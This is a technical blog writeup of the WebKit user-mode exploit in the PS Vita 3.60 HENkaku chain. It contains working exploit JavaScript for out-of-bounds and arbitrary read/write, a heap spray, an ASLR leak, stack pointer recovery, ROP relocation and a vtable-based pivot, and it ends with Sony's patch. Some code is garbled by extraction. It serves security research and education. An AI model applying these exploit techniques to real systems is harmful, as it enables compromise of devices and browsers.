Exploiting WebKit on Vita 3.60

Aug 18, 2016

Intro

This starts the series of writeups for HENkaku exploit chain. I'll try not to spoil the KOTH challenge too much and only write up the parts that are already reverse engineered, clarifying the details that other people missed. However, in the case the challenge becomes stale and no progress is made, I'll probably publish the writeup anyway, since I already have it written and it'd be a waste to let it rot in my repo.

The PoC

Our target of choice for user-mode code execution is WebKit. WebKit has a JavaScript engine which helps a lot when we need to bypass ASLR. Web browser on PS Vita also does not require PSN login, does not auto update, allows to implement a very simple exploit chain (visit this site and press that button). It's perfect.

Unlike on 3DS, which has no ASLR whatsoever, Vita WebKit has an acceptable ASLR with entropy of 9 bits, which makes brute force attacks extremely painful (512 reloads on average to trigger the exploit, the horror!). As such, we needed a better vulnerability than a generic use-after-free + vptr overwrite.

Thanks to some people, I managed to obtain a nice PoC script crashing Vita's browser on latest firmware. Not present anywhere on WebKit bugzilla/repo (maybe in the restricted section).

So what I started with was this script:

```
var almost_oversize = 0x3000;
var foo = Array.prototype.constructor.apply(null, new Array(almost_oversize));
var o = {};
o.toString = function () { foo.push(12345); return ""; }
foo[0] = 1;
foo[1] = 0;
foo[2] = o;
foo[2] = o;
foo.sort();
```

If you run it on a Linux host using Sony's WebKit, you will see a segmentation fault. Let's look at it in a debugger:

```
Thread 1 "GtkLauncher" received signal SIGSEGV, Segmentation fault.
0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef804
152 m_value = JSValue::encode(value);
(gdb) bt
#0 0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98e
#1 0x00007ffff32cb9bf in JSC::ContiguousTypeAccessor<(unsigned char)27>::setWithV
#2 0x00007ffff32c8809 in JSC::JSArray::sortCompactedVector<(unsigned char)27, JSC
at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1171
```

```
#3 0x00007ffff32c4933 in JSC::JSArray::sort (this=0x7fff9911ff60, exec=0x7fff9d6e
#4 0x00007ffff329c844 in JSC::attemptFastSort (exec=0x7fff9d6e8078, thisObj=0x7ff
at .././Source/JavaScriptCore/runtime/ArrayPrototype.cpp:623
#5 0x00007ffff329db4c in JSC::arrayProtoFuncSort (exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/ArrayProtoFuncSort (exec=0
```

<the rest does not matter>

Turns out, it hits unmapped memory while executing JavaScript Array.sort function. But what's going on here?

The bug

Let's take a look at the JSArray::sort method (Source/JavaScriptCore/runtime/JSArray.cpp). Since our array is of type ArrayWithContiguous due to how it was created: Array.prototype.constructor.apply(null, new Array(almost_oversize)); , we get into the sortCompactedVector function. Here's its full implementation:

```
1
   template<IndexingType indexingType, typename StorageType>
 2
   void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType>
 3
   {
 4
        if (!relevantLength)
 5
           return;
 6
 7
       VM& vm = exec - vm();
 8
 9
        // Converting JavaScript values to strings can be expensive, so we do it or
10
        // This is a considerable improvement over doing it twice per comparison, t
11
        // buffer. Besides, this protects us from crashing if some objects have cus
12
        // random or otherwise changing results, effectively making compare function
13
14
       Vector<ValueStringPair, 0, UnsafeVectorOverflow> values(relevantLength);
15
        if (!values.begin()) {
16
            throwOutOfMemoryError(exec);
17
            return;
18
        }
19
20
        Heap::heap(this)->pushTempSortVector(&values);
21
22
        bool isSortingPrimitiveValues = true;
23
24
        for (size t i = 0; i < relevantLength; i++) {</pre>
25
            JSValue value = ContiguousTypeAccessor<indexingType>::getAsValue(data,
26
           ASSERT(indexingType != ArrayWithInt32 || value.isInt32());
27
           ASSERT(!value.isUndefined());
28
            values[i].first = value;
29
            if (indexingType != ArrayWithDouble && indexingType != ArrayWithInt32)
30
                isSortingPrimitiveValues = isSortingPrimitiveValues && value.isPrim
31
        }
32
```

```
33
34
        // FIXME: The following loop continues to call toString on subsequent value
        // a toString call raises an exception.
35
36
        for (size t i = 0; i < relevantLength; i++)</pre>
37
            values[i].second = values[i].first.toWTFStringInline(exec);
38
39
40
        if (exec->hadException()) {
41
            Heap::heap(this)->popTempSortVector(&values);
42
            return;
43
       }
44
45
        // FIXME: Since we sort by string value, a fast algorithm might be to use
        // than O(N log N).
46
47
48
   #if HAVE(MERGESORT)
49
        if (isSortingPrimitiveValues)
            gsort(values.begin(), values.size(), sizeof(ValueStringPair), compareBy
50
51
       else
            mergesort(values.begin(), values.size(), sizeof(ValueStringPair), compared
52
53
   #else
        // FIXME: The qsort library function is likely to not be a stable sort.
54
        // ECMAScript-262 does not specify a stable sort, but in practice, browsers
55
       qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStri
56
57
   #endif
58
        // If the toString function changed the length of the array or vector store
59
        // increase the length to handle the orignal number of actual values.
60
        switch (indexingType) {
61
       case ArrayWithInt32:
62
63
       case ArrayWithDouble:
       case ArrayWithContiguous:
64
65
            ensureLength(vm, relevantLength);
            break;
66
67
68
        case ArrayWithArrayStorage:
            if (arrayStorage()->vectorLength() < relevantLength) {
69
                increaseVectorLength(exec->vm(), relevantLength);
70
71
                ContiguousTypeAccessor<indexingType>::replaceDataReference(&data, <
72
            }
73
            if (arrayStorage()->length() < relevantLength)</pre>
                arrayStorage()->setLength(relevantLength);
74
75
            break;
76
77
       default:
78
            CRASH();
79
        }
80
81
        for (size t i = 0; i < relevantLength; i++)</pre>
```

```
82 ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, v
83
84 Heap::heap(this)->popTempSortVector(&values);
}
```

This function takes the values from the JS array, puts them into a temporary vector, sorts the vector, and then puts the values back into the JS array.

On line 37 in a for loop, for every element its toString method is called. When it's called for our object o, what happens next is:

```
function () {
    foo.push(12345);
    return "";
}
```

An integer is pushed into the array that is being sorted. This causes the array elements to get reallocated. On line 81, the sorted elements are written back into the array, however, the data pointer is **never updated with the new reallocated value**.

To illustrate it:



Grey area here is free/unallocated memory. On Linux it actually is unmapped after realloc is called. Meanwhile, the data still points to the old memory location. As a result, the web browser gets a segmentation fault trying to write to unmapped memory.

Out-of-bounds RW

Depending on the contents, JSArray objects might be stored differently in memory. However, ones we are operating on, are stored continuously as metadata header (in yellow) plus array contents (in green).

The contents are just a vector of JSValue structures.

```
union EncodedValueDescriptor {
    int64_t asInt64;
    double asDouble;
    struct {
        int32_t payload;
        int32_t tag;
    } asBits;
};
```

The metadata header stores two interesting fields:

uint32_t m_publicLength; // The meaning of this field depends on the array type, b
uint32_t m vectorLength; // The length of the indexed property storage. The actual

Our goal now is to overwrite both of them and "extend" the array beyond of what is actually allocated.

To achieve that, let's modify the o.toString method:

```
var normal_length = 0x800;
var fu = new Array(normal_length);
var arrays = new Array(0x100);
o.toString = function () {
    foo.push(12345);
    for (var i = 0; i < arrays.length; ++i) {
        var bar = Array.prototype.constructor.apply(null, fu);
        bar[0] = 0;
        bar[1] = 1;
        bar[2] = 2;
        arrays[i] = bar;
    }
    return "";
}
```

If we get lucky, here's what happens:



In this example (that doesn't reflect actual array size), when the sorted values are written back using the data pointer, metadata headers of both second and third bar get overwritten.

What do we overwrite them with? Remember, that the green area is the vector of JsValue objects. Every JsValue object is 8 bytes. But if we fill foo with, for example, 0x80000000, we only control 4 bytes, and the rest is used up for the tag. What's a tag?

```
enum { Int32Tag = 0xfffffff };
enum { BooleanTag = 0xfffffff };
enum { NullTag = 0xfffffffd };
enum { UndefinedTag = 0xffffffff };
enum { CellTag = 0xffffffff };
enum { EmptyValueTag = 0xfffffffa };
enum { DeletedValueTag = 0xffffff9 };
```

enum { LowestTag = DeletedValueTag };

It's how WebKit JavaScriptCore packs different types into a single JSValue structure: it can be an int, a boolean, a cell (pointer to an object), null, undefined, or a double. So if we write 54321, we only control half of the structure, and the other half is set to Int32Tag or 0xffffffff.

However, we can also write double values, like 54321.0. This way we control all 8 bytes of the structure, but there are other limitations (Some floating-point normalization crap does not allow for truly arbitrary values to be written. Otherwise, you would be able to craft a CellTag and set pointer to an arbitrary value, that would be horrible. Interestingly, before it *did* allow that, which is what the very first Vita WebKit exploit used! CVE-2010-1807).

So let's write double values instead.

u2d / d2u are small helpers to convert between a pair of int and a double :

```
var dview = null;
// u2d/d2u taken from PSA-2013-0903
// wraps two uint32s into double precision
function u2d(low,hi)
{
        if (! dview) dview = new DataView(new ArrayBuffer(16));
        dview.setUint32(0,hi);
        dview.setUint32(4,low);
        return dview.getFloat64(0);
}
function d2u(d)
{
        if (! dview) dview = new DataView(new ArrayBuffer(16));
        dview.setFloat64(0,d);
        return { low: _dview.getUint32(4),
                 hi: dview.getUint32(0) };
}
```

As such, if we now look at arrays we will find a few JSArray objects that are extended beyond their real boundary and have their length set to 0x80000000.

Interestingly, this successfully corrupts a JSArray object on Vita but crashes on Linux hitting a guard page. But this doesn't matter because we're exploiting Vita, not Linux.

Now when we write to one of corrupted bar objects, we can achieve an out-of-bounds read/write which is awesome! But let's upgrade it to a truly arbitrary RW.

An astute reader might notice now that since Vita is a 32-bit console and we set length to 0x80000000 and every JSValue is 8 bytes, we already in fact have arbitrary RW. However, we are still writing to offsets from the original bar vector base, and haven't leaked any heap addresses yet. In addition, we can only write double values, which is super inconvenient.

Arbitrary RW

To obtain arbitrary read/write, I used the same trick as used by the 2.00-3.20 WebKit exploit, described here.

Spray buffers:

Find Uint32Array buffer in memory. Start searching at some arbitrary offset *before* the corrupted buffer's (called arr here) elements.

```
var start = 0x2000000-0x11000;
for(;; start--) {
        if (arr[start] != 0) {
                dview.setFloat64(0, arr[start]);
                if ( dview.getUint32(0) == buffer len / 4) { // Found Uint32Array
                        dview.setUint32(0, 0xEFFFFFE0);
                        arr[start] = dview.getFloat64(0); // change buffer size
                        dview.setFloat64(0, arr[start-2]);
                        heap addr = dview.getUint32(4); // leak some heap address
                        dview.setUint32(4, 0)
                        dview.setUint32(0, 0x8000000);
                        arr[start-2] = dview.getFloat64(0); // change buffer offs
                        break;
                }
        }
}
```

Find corrupted Uint32Array :

Now that we have truly arbitrary RW, and we have leaked some heap address, what's next is:

Code execution

Again, the old trick with textarea objects is used here (why invent new things?) First, modify the original Uint32Array heap spray to interleave textarea objects:

```
spray_size = 0x4000;
textareas = new Array(spray_size);
buffers = new Array(spray_size);
buffer_len = 0x1344;
textarea_cookie = 0x66656463;
textarea_cookie2 = 0x5555555;
for (var i = 0; i < buffers.length; ++i) {
        buffers[i] = new Uint32Array(buffer_len / 4);
        var e = document.createElement("textarea");
        e.rows = textarea_cookie;
        textareas[i] = e;
}
```

Using corrupted Uint32Array object, find a textarea in memory:

```
var some space = heap addr;
search start = heap addr;
for (var addr = search start/4; addr < search start/4 + 0x4000; ++addr) {
        if (u32[addr] == textarea cookie) {
                u32[addr] = textarea cookie2;
                textarea addr = addr * 4;
                break;
        }
}
/*
        Change the rows of the Element object then scan the array of
        sprayed objects to find an object whose rows have been changed
*/
var found corrupted = false;
var corrupted textarea;
for (var i = 0; i < textareas.length; ++i) {</pre>
        if (textareas[i].rows == textarea cookie2) {
                corrupted textarea = textareas[i];
                break;
        }
}
```

Now we have two "views" into the same <u>textarea</u>: we can modify it directly in memory using our <u>u32</u> object, and we can call its functions from JavaScript. So the idea is to overwrite the vptr using via our

"memory access" and then call the modified function table via JavaScript.

Mitigation 1: ASLR

Remember that Vita has ASLR, which is why we had to complicate the exploit so much. But with arbitrary RW we can just leak textarea vptr and defeat ASLR completely:

```
function read mov r12(addr) {
        first = u32[addr/4];
        second = u32[addr/4 + 1];
        return ((((first & 0xFFF) | ((first & 0xF0000) >> 4)) & 0xFFFF) | ((((seco
}
var vtidx = textarea addr - 0x70;
var textareavptr = u32[vtidx / 4];
SceWebKit base = textareavptr - 0xabb65c;
SceLibc base = read mov r12(SceWebKit base + 0x85F504) - 0xfa49;
SceLibKernel base = read mov r12(SceWebKit base + 0x85F464) - 0x9031;
ScePsp2Compat base = read mov r12(SceWebKit base + 0x85D2E4) - 0x22d65;
SceWebFiltering base = read mov r12(ScePsp2Compat base + 0x2c688c) - 0x9e5;
SceLibHttp base = read mov r12(SceWebFiltering base + 0x3bc4) - 0xdc2d;
SceNet base = read mov r12(SceWebKit base + 0x85F414) - 0x23ED;
SceNetCtl base = read mov r12(SceLibHttp base + 0x18BF4) - 0xD59;
SceAppMgr base = read mov r12(SceNetCtl base + 0x9AB8) - 0x49CD;
```

Let's talk a bit about code execution. On Vita there's no JIT and it's impossible to allocate RWX memory (Only allowed from the PlayStation Mobile app). So we have to write the whole payload in ROP.

The old exploits used something called JSoS which is described here. However, here the browser becomes *really* unstable after corrupting the JSArray object, so we want to run as little JavaScript as possible.

As a result, a new version of roptool was written by Davee which supported ASLR. The basic idea here is that some words (a word is 4 bytes) in roptool output now have relocation information assigned to them. After relocating the payload, which is just adding different bases

(SceWebKit_base / SceLibc_base /etc) to these words, we can launch the resulting ROP chain normally.

Mitigation 2: Stack-pivot protection

Since unknown firmware version, there is now an additional mitigation implemented: sometimes the kernel will check that your thread stack pointer is in fact inside its stack. If this is not the case, the whole application gets killed.

To bypass this, we need to plant our ROP chain into the thread stack. And to do that, we need to know thread stack virtual address. And we don't know it because ASLR.

However, we have arbitrary RW. There's a ton of ways to leak the stack pointer. I used the setjmp function.

Here's how we call it:

Now our corrupted_textarea is overwritten in memory with jmp_buf, which somewhere contains the stack pointer. Later, we restore the original contents as follows. This is done so that JavaScript does not crash the browser when we attempt to do anything with the corrupted textarea object:

Unfortunately, if we look at the setjmp implementation in SceLibc, we get hit with yet another exploit mitigation:

ROM:81114070 setjmp		
ROM:81114070	PUSH	{R0,LR}
ROM:81114072	BL	<pre>sub_81103DF2 // Returns high-quality</pre>
ROM:81114076	POP	{R1,R2}
ROM:81114078	MOV	LR, R2
ROM:8111407A	MOV	R3, SP
ROM:8111407C	STMIA.W	R1!, {R4-R11}
ROM:81114080	EORS	R2, R0 // LR is XOR'ed with a cookie
ROM:81114082	EORS	R0, R3 // SP is XOR'ed with the same
ROM:81114084	STMIA	R1!, {R0,R2}
ROM:81114086	VSTMIA	R1!, {D8-D15}
ROM:8111408A	VMRS	R2, FPSCR
ROM:8111408E	STMIA	R1!, {R2}
ROM:81114090	MOV.W	R0, #0
ROM:81114094	BX	LR

So basically:

stored_LR = LR ^ cookie
stored_SP = SP ^ cookie

Can you see where this is going? We already know <u>SceWebKit_base</u>, so we know the *true* value of LR. Using the magic of discrete algebra:

```
cookie = stored_LR ^ LR
SP = stored_SP ^ cookie
SP = stored SP ^ (stored_LR ^ LR)
```

Or, in JavaScript:

```
sp = (u32[vtidx/4 + 8] ^ ((u32[vtidx/4 + 9] ^ (SceWebKit_base + 0x317929)) >>> 0))
sp -= 0xef818; // adjust to get SP base
```

Now we can write our ROP payload into the thread stack and pivot to it without the application being killed!

Finally, Code Execution

First, we relocate the ROP payload. Remember, how we have the payload and relocs. If you look at payload.js, this is what you will see:

```
payload = [2119192402,65537,0,0,1912 // and it goes on...
relocs = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // ...
```

Every number from the relocs array indicated how a payload member should be relocated. For example, 0 means no relocation, 1 is add rop_data_base, 2 is add SceWebKit_base, 3 is add SceLibKernel_base and so on.

(A roptool-generated ROP chain has two sections: code and data. code is just the ROP stack. data is stuff like strings or buffers. rop_data_base is vaddr of data. rop_code_base is vaddr of code)

The next loop relocates the payload straight into the thread stack:

```
// relocate the payload
rop data base = sp + 0x40;
rop code base = sp + 0x10000;
addr = sp / 4;
// Since relocs are applied to the whole rop binary, not just code/data sections,
// this behavior here. However, we split it into data section (placed at the top o
// and code section (placed at stack + some big offset)
for (var i = 0; i < payload.length; ++i, ++addr) {</pre>
        if (i == rop header and data size)
                addr = rop code base / 4;
        switch (relocs[i]) {
        case 0:
                u32[addr] = payload[i];
                break
        case 1:
                u32[addr] = payload[i] + rop_data_base;
```

```
break;
/*
    skipped most relocs
    */
    default:
        alert("wtf?");
        alert(i + " " + relocs[i]);
    }
}
```

In this loop, we split the payload into two parts: code and data sections. We don't want code to touch data because if they are close, and code is after data (which is the case for roptool-generated ROP chains), when a function is called, it might damage a part of the data section (remember which direction the stack grows in, and which direction the ROP chain goes).

So once we are done relocating the data section: if (i == rop_header_and_data_size), we switch to relocating the code section: addr = rop_code_base / 4.



On the left is how the ROP chain looks like while it's stored in the payload array. On the right is how the ROP chain is written into the stack.

Finally, let's trigger the ROP chain:

When corrupted_textarea.scrollLeft = ldm_data is done, our LDM gadget will get called, due to overwritten vtable. R1 will be ldm_data, so it will load SP = rop_code_base and PC = pop {pc} from this buffer and as such will kick start the ROP chain.

Bonus: How Sony patched it

Sony regularly uploads new source code of their WebKit, as requested by LGPL, to this page. (Unless they do not, in which case they might require a friendly poke over email).

Diffing the source code between 3.60 and 3.61 reveals the following (Useless stuff omitted):

```
diff -r 360/webkit 537 73/Source/JavaScriptCore/runtime/JSArray.cpp 361/webkit 537
1087,1096c1087,1123
- }
- };
- template<IndexingType indexingType, typename StorageType>
- void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> d
- {
- if (!relevantLength)
- return;
_
+ }
+ };
+
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithInt32, WriteBarrier<Unknown> >()
+ {
+ return m butterfly->contiguousInt32();
+ }
+
+ template <>
+ ContiguousDoubles JSArray::storage<ArrayWithDouble, double>()
+ {
+
     return m butterfly->contiguousDouble();
+ }
+
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithContiguous, WriteBarrier<Unknown> >
+ {
+ return m butterfly->contiguous();
+ }
```

```
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithArrayStorage, WriteBarrier<Unknown>
+ {
      ArrayStorage* storage = m butterfly->arrayStorage();
+
+
      ASSERT(!storage->m sparseMap);
     return storage->vector();
+
+ }
+
+ template<IndexingType indexingType, typename StorageType>
+ void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> d
+ {
      data = storage<indexingType, StorageType>();
+
+
   if (!relevantLength)
+
+
          return;
+
1167,1172c1194,1200
       CRASH();
 }
      for (size t i = 0; i < relevantLength; i++)</pre>
          ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, va
+
          CRASH();
+ }
+
      data = storage<indexingType, StorageType>();
+
      for (size t i = 0; i < relevantLength; i++)</pre>
+
          ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, va
+
+
```

They now update the data pointer before writing values into it. So even after the array gets reallocated, it's still writing to proper memory. This is what causes the alert("restart the browser") error if you attempt to run HENkaku on 3.61. Good job, Sony.

Conclusion

That's it for today! I hope you enjoyed this writeup as much as I hated writing the exploit. Later, in a few months/years/centuries, I'll bring you some more nice writeups, so look forward to it. Since I wrote most of the HENkaku exploit chain, I'm banned from participating in the KOTH challenge :(, but at least you get to enjoy the writeups :).